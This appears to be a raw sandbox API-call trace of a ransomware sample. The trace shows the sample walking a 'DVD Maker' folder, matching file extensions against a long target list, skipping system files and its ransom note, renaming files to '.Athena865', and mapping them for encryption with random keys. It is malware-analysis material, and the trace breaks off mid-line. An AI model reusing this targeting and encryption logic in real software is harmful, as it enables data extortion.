[0064.786] lstrcmpiW (lpString1="mui", lpString2="mpd") returned 1 [0064.786] lstrlenW (lpString="mrg") returned 3 [0064.786] lstrcmpiW (lpString1="mui", lpString2="mrg") returned 1 [0064.786] lstrlenW (lpString="mud") returned 3 [0064.786] lstrcmpiW (lpString1="mui", lpString2="mud") returned 1 [0064.787] lstrlenW (lpString="mwb") returned 3 [0064.787] lstrcmpiW (lpString1="mui", lpString2="mwb") returned -1 [0064.787] lstrlenW (lpString="myd") returned 3 [0064.787] lstrcmpiW (lpString1="mui", lpString2="myd") returned -1 [0064.787] lstrlenW (lpString="ndf") returned 3 [0064.787] lstrcmpiW (lpString1="mui", lpString2="ndf") returned -1 [0064.787] lstrlenW (lpString="nnt") returned 3 [0064.787] lstrcmpiW (lpString1="mui", lpString2="nnt") returned -1 [0064.787] lstrlenW (lpString="nrmlib") returned 6 [0064.787] lstrcmpiW (lpString1="xe.mui", lpString2="nrmlib") returned 1 [0064.787] lstrlenW (lpString="ns2") returned 3 [0064.787] lstrcmpiW (lpString1="mui", lpString2="ns2") returned -1 [0064.787] lstrlenW (lpString="ns3") returned 3 [0064.787] lstrcmpiW (lpString1="mui", lpString2="ns3") returned -1 [0064.787] lstrlenW (lpString="ns4") returned 3 [0064.787] lstrcmpiW (lpString1="mui", lpString2="ns4") returned -1 [0064.787] lstrlenW (lpString="nsf") returned 3 [0064.787] lstrcmpiW (lpString1="mui", lpString2="nsf") returned -1 [0064.787] lstrlenW (lpString="nv") returned 2 [0064.787] lstrcmpiW (lpString1="ui", lpString2="nv") returned 1 [0064.787] lstrlenW (lpString="nv2") returned 3 [0064.787] lstrcmpiW (lpString1="mui", lpString2="nv2") returned -1 [0064.787] lstrlenW (lpString="nwdb") returned 4 [0064.787] lstrcmpiW (lpString1=".mui", lpString2="nwdb") returned -1 [0064.787] lstrlenW (lpString="nyf") returned 3 [0064.787] lstrcmpiW (lpString1="mui", lpString2="nyf") returned -1 [0064.787] lstrlenW (lpString="odb") returned 3 [0064.787] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0064.787] lstrlenW (lpString="odb") returned 3 [0064.787] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0064.787] lstrlenW (lpString="oqy") returned 3 [0064.787] lstrcmpiW (lpString1="mui", lpString2="oqy") returned -1 [0064.788] lstrlenW (lpString="ora") returned 3 [0064.788] lstrcmpiW (lpString1="mui", lpString2="ora") returned -1 [0064.788] lstrlenW (lpString="orx") returned 3 [0064.788] lstrcmpiW (lpString1="mui", lpString2="orx") returned -1 [0064.788] lstrlenW (lpString="owc") returned 3 [0064.788] lstrcmpiW (lpString1="mui", lpString2="owc") returned -1 [0064.788] lstrlenW (lpString="p96") returned 3 [0064.788] lstrcmpiW (lpString1="mui", lpString2="p96") returned -1 [0064.788] lstrlenW (lpString="p97") returned 3 [0064.788] lstrcmpiW (lpString1="mui", lpString2="p97") returned -1 [0064.788] lstrlenW (lpString="pan") returned 3 [0064.788] lstrcmpiW (lpString1="mui", lpString2="pan") returned -1 [0064.788] lstrlenW (lpString="pdb") returned 3 [0064.788] lstrcmpiW (lpString1="mui", lpString2="pdb") returned -1 [0064.788] lstrlenW (lpString="pdm") returned 3 [0064.788] lstrcmpiW (lpString1="mui", lpString2="pdm") returned -1 [0064.788] lstrlenW (lpString="pnz") returned 3 [0064.788] lstrcmpiW (lpString1="mui", lpString2="pnz") returned -1 [0064.788] lstrlenW (lpString="qry") returned 3 [0064.788] lstrcmpiW (lpString1="mui", lpString2="qry") returned -1 [0064.788] lstrlenW (lpString="qvd") returned 3 [0064.788] lstrcmpiW (lpString1="mui", lpString2="qvd") returned -1 [0064.788] lstrlenW (lpString="rbf") returned 3 [0064.788] lstrcmpiW (lpString1="mui", lpString2="rbf") returned -1 [0064.788] lstrlenW (lpString="rctd") returned 4 [0064.788] lstrcmpiW (lpString1=".mui", lpString2="rctd") returned -1 [0064.788] lstrlenW (lpString="rod") returned 3 [0064.788] lstrcmpiW (lpString1="mui", lpString2="rod") returned -1 [0064.788] lstrlenW (lpString="rodx") returned 4 [0064.788] lstrcmpiW (lpString1=".mui", lpString2="rodx") returned -1 [0064.788] lstrlenW (lpString="rpd") returned 3 [0064.788] lstrcmpiW (lpString1="mui", lpString2="rpd") returned -1 [0064.789] lstrlenW (lpString="rsd") returned 3 [0064.789] lstrcmpiW (lpString1="mui", lpString2="rsd") returned -1 [0064.789] lstrlenW (lpString="sas7bdat") returned 8 [0064.789] lstrcmpiW (lpString1=".exe.mui", lpString2="sas7bdat") returned -1 [0064.789] lstrlenW (lpString="sbf") returned 3 [0064.789] lstrcmpiW (lpString1="mui", lpString2="sbf") returned -1 [0064.789] lstrlenW (lpString="scx") returned 3 [0064.789] lstrcmpiW (lpString1="mui", lpString2="scx") returned -1 [0064.789] lstrlenW (lpString="sdb") returned 3 [0064.789] lstrcmpiW (lpString1="mui", lpString2="sdb") returned -1 [0064.789] lstrlenW (lpString="sdc") returned 3 [0064.789] lstrcmpiW (lpString1="mui", lpString2="sdc") returned -1 [0064.789] lstrlenW (lpString="sdf") returned 3 [0064.789] lstrcmpiW (lpString1="mui", lpString2="sdf") returned -1 [0064.789] lstrlenW (lpString="sis") returned 3 [0064.789] lstrcmpiW (lpString1="mui", lpString2="sis") returned -1 [0064.789] lstrlenW (lpString="spq") returned 3 [0064.789] lstrcmpiW (lpString1="mui", lpString2="spq") returned -1 [0064.789] lstrlenW (lpString="te") returned 2 [0064.789] lstrcmpiW (lpString1="ui", lpString2="te") returned 1 [0064.789] lstrlenW (lpString="teacher") returned 7 [0064.789] lstrcmpiW (lpString1="exe.mui", lpString2="teacher") returned -1 [0064.789] lstrlenW (lpString="tmd") returned 3 [0064.789] lstrcmpiW (lpString1="mui", lpString2="tmd") returned -1 [0064.789] lstrlenW (lpString="tps") returned 3 [0064.789] lstrcmpiW (lpString1="mui", lpString2="tps") returned -1 [0064.789] lstrlenW (lpString="trc") returned 3 [0064.789] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0064.789] lstrlenW (lpString="trc") returned 3 [0064.789] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0064.789] lstrlenW (lpString="trm") returned 3 [0064.789] lstrcmpiW (lpString1="mui", lpString2="trm") returned -1 [0064.790] lstrlenW (lpString="udb") returned 3 [0064.790] lstrcmpiW (lpString1="mui", lpString2="udb") returned -1 [0064.790] lstrlenW (lpString="udl") returned 3 [0064.790] lstrcmpiW (lpString1="mui", lpString2="udl") returned -1 [0064.790] lstrlenW (lpString="usr") returned 3 [0064.790] lstrcmpiW (lpString1="mui", lpString2="usr") returned -1 [0064.790] lstrlenW (lpString="v12") returned 3 [0064.790] lstrcmpiW (lpString1="mui", lpString2="v12") returned -1 [0064.790] lstrlenW (lpString="vis") returned 3 [0064.790] lstrcmpiW (lpString1="mui", lpString2="vis") returned -1 [0064.790] lstrlenW (lpString="vpd") returned 3 [0064.790] lstrcmpiW (lpString1="mui", lpString2="vpd") returned -1 [0064.790] lstrlenW (lpString="vvv") returned 3 [0064.790] lstrcmpiW (lpString1="mui", lpString2="vvv") returned -1 [0064.790] lstrlenW (lpString="wdb") returned 3 [0064.790] lstrcmpiW (lpString1="mui", lpString2="wdb") returned -1 [0064.790] lstrlenW (lpString="wmdb") returned 4 [0064.790] lstrcmpiW (lpString1=".mui", lpString2="wmdb") returned -1 [0064.790] lstrlenW (lpString="wrk") returned 3 [0064.790] lstrcmpiW (lpString1="mui", lpString2="wrk") returned -1 [0064.790] lstrlenW (lpString="xdb") returned 3 [0064.790] lstrcmpiW (lpString1="mui", lpString2="xdb") returned -1 [0064.790] lstrlenW (lpString="xld") returned 3 [0064.790] lstrcmpiW (lpString1="mui", lpString2="xld") returned -1 [0064.790] lstrlenW (lpString="xmlff") returned 5 [0064.790] lstrcmpiW (lpString1="e.mui", lpString2="xmlff") returned -1 [0064.790] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui.Athena865") returned 59 [0064.790] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\dvdmaker.exe.mui"), lpNewFileName="C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui.Athena865" (normalized: "c:\\program files\\dvd maker\\en-us\\dvdmaker.exe.mui.athena865"), dwFlags=0x1) returned 1 [0064.792] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui.Athena865" (normalized: "c:\\program files\\dvd maker\\en-us\\dvdmaker.exe.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0064.792] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=51712) returned 1 [0064.792] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0064.793] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0064.793] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0064.793] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0064.793] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0064.793] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0064.794] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcd00, lpName=0x0) returned 0x17c [0064.795] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcd00) returned 0x100000 [0064.798] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0064.799] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0064.799] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0064.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0064.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0064.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0064.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0064.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0064.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0064.800] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0064.800] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.800] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0064.800] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0064.800] CloseHandle (hObject=0x17c) returned 1 [0064.800] CloseHandle (hObject=0x154) returned 1 [0064.800] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0064.800] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0064.800] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0064.801] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd68c7a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd68c7a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0064.801] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0064.801] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OmdProject.dll.mui", cAlternateFileName="")) returned 1 [0064.801] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.801] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.801] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2=".") returned 1 [0064.801] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="..") returned 1 [0064.801] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="windows") returned -1 [0064.801] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="bootmgr") returned 1 [0064.801] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="temp") returned -1 [0064.801] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="pagefile.sys") returned -1 [0064.801] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="boot") returned 1 [0064.801] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="ids.txt") returned 1 [0064.801] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="ntuser.dat") returned 1 [0064.801] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="perflogs") returned -1 [0064.801] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="MSBuild") returned 1 [0064.801] lstrlenW (lpString="OmdProject.dll.mui") returned 18 [0064.801] lstrcpyW (in: lpString1=0x241e88a, lpString2="OmdProject.dll.mui" | out: lpString1="OmdProject.dll.mui") returned="OmdProject.dll.mui" [0064.801] lstrlenW (lpString="OmdProject.dll.mui") returned 18 [0064.801] lstrlenW (lpString="Athena865") returned 9 [0064.801] lstrcmpiW (lpString1="t.dll.mui", lpString2="Athena865") returned 1 [0064.801] lstrlenW (lpString=".dll") returned 4 [0064.801] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2=".dll") returned 1 [0064.802] lstrlenW (lpString=".lnk") returned 4 [0064.802] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2=".lnk") returned 1 [0064.802] lstrlenW (lpString=".ini") returned 4 [0064.802] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2=".ini") returned 1 [0064.802] lstrlenW (lpString=".sys") returned 4 [0064.802] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2=".sys") returned 1 [0064.802] lstrlenW (lpString="OmdProject.dll.mui") returned 18 [0064.802] lstrlenW (lpString="bak") returned 3 [0064.802] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0064.802] lstrlenW (lpString="ba_") returned 3 [0064.802] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0064.802] lstrlenW (lpString="dbb") returned 3 [0064.802] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0064.802] lstrlenW (lpString="vmdk") returned 4 [0064.802] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0064.802] lstrlenW (lpString="rar") returned 3 [0064.802] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0064.802] lstrlenW (lpString="zip") returned 3 [0064.802] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0064.802] lstrlenW (lpString="tgz") returned 3 [0064.802] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0064.802] lstrlenW (lpString="vbox") returned 4 [0064.802] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0064.802] lstrlenW (lpString="vdi") returned 3 [0064.802] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0064.802] lstrlenW (lpString="vhd") returned 3 [0064.802] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0064.802] lstrlenW (lpString="vhdx") returned 4 [0064.802] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0064.802] lstrlenW (lpString="avhd") returned 4 [0064.802] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0064.802] lstrlenW (lpString="db") returned 2 [0064.803] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0064.803] lstrlenW (lpString="db2") returned 3 [0064.803] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0064.803] lstrlenW (lpString="db3") returned 3 [0064.803] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0064.803] lstrlenW (lpString="dbf") returned 3 [0064.803] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0064.803] lstrlenW (lpString="mdf") returned 3 [0064.803] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0064.803] lstrlenW (lpString="mdb") returned 3 [0064.803] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0064.803] lstrlenW (lpString="sql") returned 3 [0064.803] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0064.803] lstrlenW (lpString="sqlite") returned 6 [0064.803] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1 [0064.803] lstrlenW (lpString="sqlite3") returned 7 [0064.803] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1 [0064.803] lstrlenW (lpString="sqlitedb") returned 8 [0064.803] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1 [0064.803] lstrlenW (lpString="xml") returned 3 [0064.803] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0064.803] lstrlenW (lpString="$er") returned 3 [0064.803] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0064.803] lstrlenW (lpString="4dd") returned 3 [0064.803] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0064.803] lstrlenW (lpString="4dl") returned 3 [0064.803] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0064.803] lstrlenW (lpString="^^^") returned 3 [0064.803] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0064.803] lstrlenW (lpString="abs") returned 3 [0064.803] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0064.803] lstrlenW (lpString="abx") returned 3 [0064.804] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0064.804] lstrlenW (lpString="accdb") returned 5 [0064.804] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1 [0064.804] lstrlenW (lpString="accdc") returned 5 [0064.804] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1 [0064.804] lstrlenW (lpString="accde") returned 5 [0064.804] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1 [0064.804] lstrlenW (lpString="accdr") returned 5 [0064.804] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1 [0064.804] lstrlenW (lpString="accdt") returned 5 [0064.804] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1 [0064.804] lstrlenW (lpString="accdw") returned 5 [0064.804] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1 [0064.804] lstrlenW (lpString="accft") returned 5 [0064.804] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1 [0064.804] lstrlenW (lpString="adb") returned 3 [0064.804] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0064.804] lstrlenW (lpString="adb") returned 3 [0064.804] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0064.804] lstrlenW (lpString="ade") returned 3 [0064.804] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0064.804] lstrlenW (lpString="adf") returned 3 [0064.804] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0064.804] lstrlenW (lpString="adn") returned 3 [0064.805] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0064.805] lstrlenW (lpString="adp") returned 3 [0064.805] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0064.805] lstrlenW (lpString="alf") returned 3 [0064.805] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0064.805] lstrlenW (lpString="ask") returned 3 [0064.805] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0064.805] lstrlenW (lpString="btr") returned 3 [0064.805] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0064.805] lstrlenW (lpString="cat") returned 3 [0064.805] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0064.805] lstrlenW (lpString="cdb") returned 3 [0064.805] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0064.805] lstrlenW (lpString="ckp") returned 3 [0064.805] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0064.805] lstrlenW (lpString="cma") returned 3 [0064.805] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0064.805] lstrlenW (lpString="cpd") returned 3 [0064.805] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0064.805] lstrlenW (lpString="dacpac") returned 6 [0064.805] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1 [0064.805] lstrlenW (lpString="dad") returned 3 [0064.805] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0064.805] lstrlenW (lpString="dadiagrams") returned 10 [0064.805] lstrcmpiW (lpString1="ct.dll.mui", lpString2="dadiagrams") returned -1 [0064.805] lstrlenW (lpString="daschema") returned 8 [0064.805] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1 [0064.805] lstrlenW (lpString="db-journal") returned 10 [0064.805] lstrcmpiW (lpString1="ct.dll.mui", lpString2="db-journal") returned -1 [0064.805] lstrlenW (lpString="db-shm") returned 6 [0064.805] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1 [0064.805] lstrlenW (lpString="db-wal") returned 6 [0064.806] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1 [0064.806] lstrlenW (lpString="dbc") returned 3 [0064.806] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0064.806] lstrlenW (lpString="dbs") returned 3 [0064.806] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0064.806] lstrlenW (lpString="dbt") returned 3 [0064.806] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0064.806] lstrlenW (lpString="dbv") returned 3 [0064.806] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0064.806] lstrlenW (lpString="dbx") returned 3 [0064.806] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0064.806] lstrlenW (lpString="dcb") returned 3 [0064.806] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0064.806] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui.Athena865") returned 61 [0064.806] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui"), lpNewFileName="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui.Athena865" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui.athena865"), dwFlags=0x1) returned 1 [0064.808] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui.Athena865" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0064.808] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12288) returned 1 [0064.808] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0064.808] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0064.809] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0064.809] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0064.809] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0064.809] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0064.810] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3300, lpName=0x0) returned 0x17c [0064.812] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3300) returned 0x100000 [0064.813] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0064.814] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0064.814] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0064.814] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0064.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0064.814] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0064.814] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0064.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.814] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0064.814] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0064.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0064.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0064.814] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0064.815] CloseHandle (hObject=0x17c) returned 1 [0064.815] CloseHandle (hObject=0x154) returned 1 [0064.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0064.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0064.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0064.815] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 1 [0064.815] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.815] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.815] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2=".") returned 1 [0064.815] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="..") returned 1 [0064.815] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="windows") returned 1 [0064.815] lstrcmpiW 